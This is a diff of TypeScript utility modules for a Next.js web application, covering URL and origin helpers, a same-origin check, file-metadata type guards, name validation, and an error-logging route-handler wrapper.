|
||||
}
|
||||
|
||||
if (pathOrUrl.startsWith('/')) {
|
||||
return `${getBaseUrl()}${pathOrUrl}`
|
||||
}
|
||||
|
||||
return pathOrUrl
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns just the domain and port part of the application URL
|
||||
* @returns The domain with port if applicable (e.g., 'localhost:3000' or 'sim.ai')
|
||||
*/
|
||||
export function getBaseDomain(): string {
|
||||
try {
|
||||
const url = new URL(getBaseUrl())
|
||||
return url.host // host includes port if specified
|
||||
} catch (_e) {
|
||||
const fallbackUrl = getEnv('NEXT_PUBLIC_APP_URL') || 'http://localhost:3000'
|
||||
try {
|
||||
return new URL(fallbackUrl).host
|
||||
} catch {
|
||||
return isProd ? 'sim.ai' : 'localhost:3000'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the domain for email addresses, stripping www subdomain for Resend compatibility
|
||||
* @returns The email domain (e.g., 'sim.ai' instead of 'www.sim.ai')
|
||||
*/
|
||||
export function getEmailDomain(): string {
|
||||
try {
|
||||
const baseDomain = getBaseDomain()
|
||||
return baseDomain.startsWith('www.') ? baseDomain.substring(4) : baseDomain
|
||||
} catch (_e) {
|
||||
return isProd ? 'sim.ai' : 'localhost:3000'
|
||||
}
|
||||
}
|
||||
|
||||
const DEFAULT_SOCKET_URL = 'http://localhost:3002'
|
||||
const DEFAULT_OLLAMA_URL = 'http://localhost:11434'
|
||||
export const LOCALHOST_HOSTNAMES: ReadonlySet<string> = new Set([
|
||||
'localhost',
|
||||
'127.0.0.1',
|
||||
'[::1]',
|
||||
'::1',
|
||||
])
|
||||
|
||||
export function isLoopbackHostname(hostname: string): boolean {
|
||||
return LOCALHOST_HOSTNAMES.has(hostname)
|
||||
}
|
||||
|
||||
/**
|
||||
* Parses a comma-separated list of origins (e.g. from a `TRUSTED_ORIGINS` env
|
||||
* var) into a deduped array of normalized origins. Invalid entries are dropped.
|
||||
*
|
||||
* @param raw - Comma-separated origin list, or undefined/empty
|
||||
* @param onInvalid - Optional callback invoked once per invalid entry
|
||||
*/
|
||||
export function parseOriginList(
|
||||
raw: string | undefined | null,
|
||||
onInvalid?: (value: string) => void
|
||||
): string[] {
|
||||
if (!raw) return []
|
||||
const seen = new Set<string>()
|
||||
const origins: string[] = []
|
||||
for (const candidate of raw.split(',')) {
|
||||
const trimmed = candidate.trim()
|
||||
if (!trimmed) continue
|
||||
try {
|
||||
const { origin } = new URL(trimmed)
|
||||
if (!seen.has(origin)) {
|
||||
seen.add(origin)
|
||||
origins.push(origin)
|
||||
}
|
||||
} catch {
|
||||
onInvalid?.(trimmed)
|
||||
}
|
||||
}
|
||||
return origins
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns true when the given URL points at a localhost loopback host.
|
||||
* Used to detect misconfigured deployments where `NEXT_PUBLIC_APP_URL` is left
|
||||
* at its development default in production.
|
||||
*/
|
||||
export function isLocalhostUrl(url: string): boolean {
|
||||
try {
|
||||
const { hostname } = new URL(url)
|
||||
return LOCALHOST_HOSTNAMES.has(hostname)
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the current browser origin, or `null` when called server-side.
|
||||
*
|
||||
* Use this when an absolute URL is needed for a same-origin resource (auth API,
|
||||
* reverse-proxied socket, etc.) so a misconfigured `NEXT_PUBLIC_*` env var
|
||||
* baked into the client bundle at build time can't pin requests to the wrong host.
|
||||
*/
|
||||
export function getBrowserOrigin(): string | null {
|
||||
return typeof window !== 'undefined' ? window.location.origin : null
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates that a URL uses an http(s) scheme before it is opened in a new window.
|
||||
* Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could
|
||||
* execute script in the chat origin, since `file.url` originates from untrusted
|
||||
* workflow/agent output.
|
||||
*/
|
||||
export function isSafeHttpUrl(url: string): boolean {
|
||||
try {
|
||||
const parsed = new URL(url, getBrowserOrigin() ?? undefined)
|
||||
return parsed.protocol === 'http:' || parsed.protocol === 'https:'
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the socket server URL for server-side internal API calls.
|
||||
* Reads from SOCKET_SERVER_URL with a localhost fallback for development.
|
||||
*/
|
||||
export function getSocketServerUrl(): string {
|
||||
return env.SOCKET_SERVER_URL || DEFAULT_SOCKET_URL
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the socket server URL for client-side Socket.IO connections.
|
||||
*
|
||||
* Resolution order:
|
||||
* 1. `NEXT_PUBLIC_SOCKET_URL` if explicitly set (subdomain, separate host:port)
|
||||
* 2. In the browser when the page is served from a non-localhost origin, the
|
||||
* page's own origin — assumes the reverse proxy routes `/socket.io` to the
|
||||
* realtime service. This avoids shipping a hardcoded `localhost:3002` to
|
||||
* self-hosters behind nginx/Cloudflare.
|
||||
* 3. `http://localhost:3002` for local development and SSR.
|
||||
*/
|
||||
export function getSocketUrl(): string {
|
||||
const explicit = getEnv('NEXT_PUBLIC_SOCKET_URL')?.trim()
|
||||
if (explicit) return explicit
|
||||
|
||||
const browserOrigin = getBrowserOrigin()
|
||||
if (browserOrigin && !LOCALHOST_HOSTNAMES.has(new URL(browserOrigin).hostname)) {
|
||||
return browserOrigin
|
||||
}
|
||||
|
||||
return DEFAULT_SOCKET_URL
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the Ollama server URL.
|
||||
* Reads from OLLAMA_URL with a localhost fallback for development.
|
||||
*/
|
||||
export function getOllamaUrl(): string {
|
||||
return env.OLLAMA_URL || DEFAULT_OLLAMA_URL
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
import type { UserFile } from '@/executor/types'
|
||||
|
||||
export type UserFileLike = Pick<UserFile, 'id' | 'name' | 'url' | 'key'> &
|
||||
Partial<Pick<UserFile, 'size' | 'type' | 'context' | 'base64'>>
|
||||
|
||||
/**
|
||||
* Fields exposed for UserFile objects in UI (tag dropdown) and logs.
|
||||
* Internal fields like 'key' and 'context' are not exposed.
|
||||
*/
|
||||
export const USER_FILE_DISPLAY_FIELDS = ['id', 'name', 'url', 'size', 'type', 'base64'] as const
|
||||
|
||||
export type UserFileDisplayField = (typeof USER_FILE_DISPLAY_FIELDS)[number]
|
||||
|
||||
/**
|
||||
* Checks if a value matches the minimal UserFile shape.
|
||||
*/
|
||||
export function isUserFile(value: unknown): value is UserFileLike {
|
||||
if (!value || typeof value !== 'object') {
|
||||
return false
|
||||
}
|
||||
|
||||
const candidate = value as Record<string, unknown>
|
||||
|
||||
return (
|
||||
typeof candidate.id === 'string' &&
|
||||
typeof candidate.key === 'string' &&
|
||||
typeof candidate.url === 'string' &&
|
||||
typeof candidate.name === 'string'
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks if a value matches the full UserFile metadata shape.
|
||||
*/
|
||||
export function isUserFileWithMetadata(value: unknown): value is UserFile {
|
||||
if (!isUserFile(value)) {
|
||||
return false
|
||||
}
|
||||
|
||||
const candidate = value as Record<string, unknown>
|
||||
|
||||
return typeof candidate.size === 'number' && typeof candidate.type === 'string'
|
||||
}
|
||||
|
||||
/**
|
||||
* Finds storage keys for UserFile objects embedded in a value.
|
||||
*/
|
||||
export function collectUserFileKeys(value: unknown): string[] {
|
||||
const keys = new Set<string>()
|
||||
collectUserFileKeysInto(value, keys, new WeakSet<object>())
|
||||
return Array.from(keys)
|
||||
}
|
||||
|
||||
function collectUserFileKeysInto(value: unknown, keys: Set<string>, seen: WeakSet<object>): void {
|
||||
if (!value || typeof value !== 'object') {
|
||||
return
|
||||
}
|
||||
|
||||
if (seen.has(value)) {
|
||||
return
|
||||
}
|
||||
seen.add(value)
|
||||
|
||||
if (isUserFileWithMetadata(value)) {
|
||||
keys.add(value.key)
|
||||
return
|
||||
}
|
||||
|
||||
if (Array.isArray(value)) {
|
||||
for (const item of value) {
|
||||
collectUserFileKeysInto(item, keys, seen)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
for (const item of Object.values(value)) {
|
||||
collectUserFileKeysInto(item, keys, seen)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks if a value matches the display-safe UserFile metadata shape after internal fields are stripped.
|
||||
*/
|
||||
export function isUserFileDisplayMetadata(value: unknown): value is Record<string, unknown> {
|
||||
if (!value || typeof value !== 'object' || Array.isArray(value)) {
|
||||
return false
|
||||
}
|
||||
|
||||
const candidate = value as Record<string, unknown>
|
||||
const url = typeof candidate.url === 'string' ? candidate.url : ''
|
||||
|
||||
return (
|
||||
typeof candidate.id === 'string' &&
|
||||
typeof candidate.name === 'string' &&
|
||||
url.length > 0 &&
|
||||
typeof candidate.size === 'number' &&
|
||||
typeof candidate.type === 'string' &&
|
||||
(candidate.id.startsWith('file_') || url.includes('/api/files/serve/'))
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* Filters a UserFile object to only include display fields.
|
||||
* Used for both UI display and log sanitization.
|
||||
*/
|
||||
export function filterUserFileForDisplay(data: Record<string, unknown>): Record<string, unknown> {
|
||||
const filtered: Record<string, unknown> = {}
|
||||
for (const field of USER_FILE_DISPLAY_FIELDS) {
|
||||
if (field in data) {
|
||||
filtered[field] = data[field]
|
||||
}
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
|
||||
/**
|
||||
* Extracts base64 content from either a raw base64 string or a UserFile object.
|
||||
* Useful for tools that accept file input in either format.
|
||||
* @returns The base64 string, or undefined if not found
|
||||
*/
|
||||
export function extractBase64FromFileInput(
|
||||
input: string | UserFileLike | null | undefined
|
||||
): string | undefined {
|
||||
if (typeof input === 'string') {
|
||||
return input
|
||||
}
|
||||
if (input?.base64) {
|
||||
return input.base64
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
import { getBaseUrl } from './urls'
|
||||
|
||||
/**
|
||||
* Checks if a URL is same-origin with a base URL. Defaults to the application's
|
||||
* base URL, used to prevent open redirect vulnerabilities; pass an explicit
|
||||
* `base` to pin a URL to another trusted origin (e.g. a configured API host)
|
||||
* before following it with credentials.
|
||||
*
|
||||
* @param url - The URL to validate
|
||||
* @param base - The origin to compare against (defaults to the app base URL)
|
||||
* @returns True if the URL is same-origin, false otherwise (secure default)
|
||||
*/
|
||||
export function isSameOrigin(url: string, base: string = getBaseUrl()): boolean {
|
||||
try {
|
||||
return new URL(url).origin === new URL(base).origin
|
||||
} catch {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates a name by removing any characters that could cause issues
|
||||
* with variable references or node naming.
|
||||
*
|
||||
* @param name - The name to validate
|
||||
* @returns The validated name with invalid characters removed, trimmed, and collapsed whitespace
|
||||
*/
|
||||
export function validateName(name: string): string {
|
||||
return name
|
||||
.replace(/[^a-zA-Z0-9_\s]/g, '') // Remove invalid characters
|
||||
.replace(/\s+/g, ' ') // Collapse multiple spaces into single spaces
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks if a name contains invalid characters
|
||||
*
|
||||
* @param name - The name to check
|
||||
* @returns True if the name is valid, false otherwise
|
||||
*/
|
||||
export function isValidName(name: string): boolean {
|
||||
return /^[a-zA-Z0-9_\s]*$/.test(name)
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a list of invalid characters in a name
|
||||
*
|
||||
* @param name - The name to check
|
||||
* @returns Array of invalid characters found
|
||||
*/
|
||||
export function getInvalidCharacters(name: string): string[] {
|
||||
const invalidChars = name.match(/[^a-zA-Z0-9_\s]/g)
|
||||
return invalidChars ? [...new Set(invalidChars)] : []
|
||||
}
|
||||
|
||||
/**
|
||||
* Escapes non-ASCII characters in JSON string for HTTP header safety.
|
||||
* Dropbox API requires characters 0x7F and all non-ASCII to be escaped as \uXXXX.
|
||||
*/
|
||||
export function httpHeaderSafeJson(value: object): string {
|
||||
return JSON.stringify(value).replace(/[\u007f-\uffff]/g, (c) => {
|
||||
return `\\u${(`0000${c.charCodeAt(0).toString(16)}`).slice(-4)}`
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
import { createLogger, runWithRequestContext } from '@sim/logger'
|
||||
import { getErrorMessage } from '@sim/utils/errors'
|
||||
import type { NextRequest } from 'next/server'
|
||||
import { NextResponse } from 'next/server'
|
||||
import { HttpError } from '@/lib/core/utils/http-error'
|
||||
import { generateRequestId } from '@/lib/core/utils/request'
|
||||
|
||||
const logger = createLogger('RouteHandler')
|
||||
|
||||
type RouteHandler<T = unknown> = (
|
||||
request: NextRequest,
|
||||
context: T
|
||||
) => Promise<NextResponse | Response> | NextResponse | Response
|
||||
|
||||
/**
|
||||
* Reads a numeric `statusCode` (4xx or 5xx) off an `HttpError` so typed domain
|
||||
* errors (e.g. `WorkspaceAccessDeniedError`, `InvalidFieldError`) map to the
|
||||
* correct HTTP status when they bubble up unhandled instead of defaulting to
|
||||
* 500.
|
||||
*
|
||||
* Uses an `instanceof HttpError` check (not duck-typing on `statusCode`) so
|
||||
* third-party errors that happen to carry a `statusCode`-shaped field cannot
|
||||
* trigger this path and leak their internal `message` to the client.
|
||||
*
|
||||
* When a typed status is returned, the error's `message` is sent to the client
|
||||
* verbatim — matching the NestJS `HttpException` / Spring `ResponseStatusException`
|
||||
* convention. Subclasses of `HttpError` are responsible for keeping `message`
|
||||
* safe to expose to clients (no stack traces, secrets, file paths, ORM
|
||||
* internals).
|
||||
*/
|
||||
function readTypedErrorStatus(error: unknown): number | undefined {
|
||||
if (!(error instanceof HttpError)) return undefined
|
||||
const status = error.statusCode
|
||||
if (status < 400 || status >= 600) return undefined
|
||||
return status
|
||||
}
|
||||
|
||||
/**
|
||||
* Wraps a Next.js API route handler with centralized error reporting.
|
||||
*
|
||||
* - Generates a unique request ID and stores it in AsyncLocalStorage so every
|
||||
* logger in the request lifecycle automatically includes it
|
||||
* - Logs all 4xx and 5xx responses with method, path, status, duration
|
||||
* - Catches unhandled errors, logs them, and returns a 500 with the request ID
|
||||
* - Attaches `x-request-id` response header
|
||||
*/
|
||||
export function withRouteHandler<T>(handler: RouteHandler<T>): RouteHandler<T> {
|
||||
return async (request: NextRequest, context: T) => {
|
||||
const requestId = generateRequestId()
|
||||
const startTime = Date.now()
|
||||
const method = request?.method ?? 'UNKNOWN'
|
||||
const path =
|
||||
request?.nextUrl?.pathname ?? new URL(request?.url ?? '/', 'http://localhost').pathname
|
||||
|
||||
return runWithRequestContext({ requestId, method, path }, async () => {
|
||||
let response: NextResponse | Response
|
||||
try {
|
||||
response = await handler(request, context)
|
||||
} catch (error) {
|
||||
const duration = Date.now() - startTime
|
||||
const message = getErrorMessage(error, 'Unknown error')
|
||||
const typedStatus = readTypedErrorStatus(error)
|
||||
if (typedStatus !== undefined) {
|
||||
if (typedStatus >= 500) {
|
||||
logger.error('Unhandled route error', { duration, status: typedStatus, error: message })
|
||||
} else {
|
||||
logger.warn('Typed route error', { duration, status: typedStatus, error: message })
|
||||
}
|
||||
response = NextResponse.json({ error: message, requestId }, { status: typedStatus })
|
||||
} else {
|
||||
logger.error('Unhandled route error', { duration, error: message })
|
||||
response = NextResponse.json(
|
||||
{ error: 'Internal server error', requestId },
|
||||
{ status: 500 }
|
||||
)
|
||||
}
|
||||
response?.headers?.set('x-request-id', requestId)
|
||||
return response
|
||||
}
|
||||
|
||||
const status = response?.status ?? 0
|
||||
const duration = Date.now() - startTime
|
||||
|
||||
if (status >= 500) {
|
||||
logger.error('Server error response', { status, duration })
|
||||
} else if (status >= 400) {
|
||||
logger.warn('Client error response', { status, duration })
|
||||
} else if (status > 0) {
|
||||
logger.info('OK', { status, duration })
|
||||
}
|
||||
|
||||
response?.headers?.set('x-request-id', requestId)
|
||||
return response
|
||||
})
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user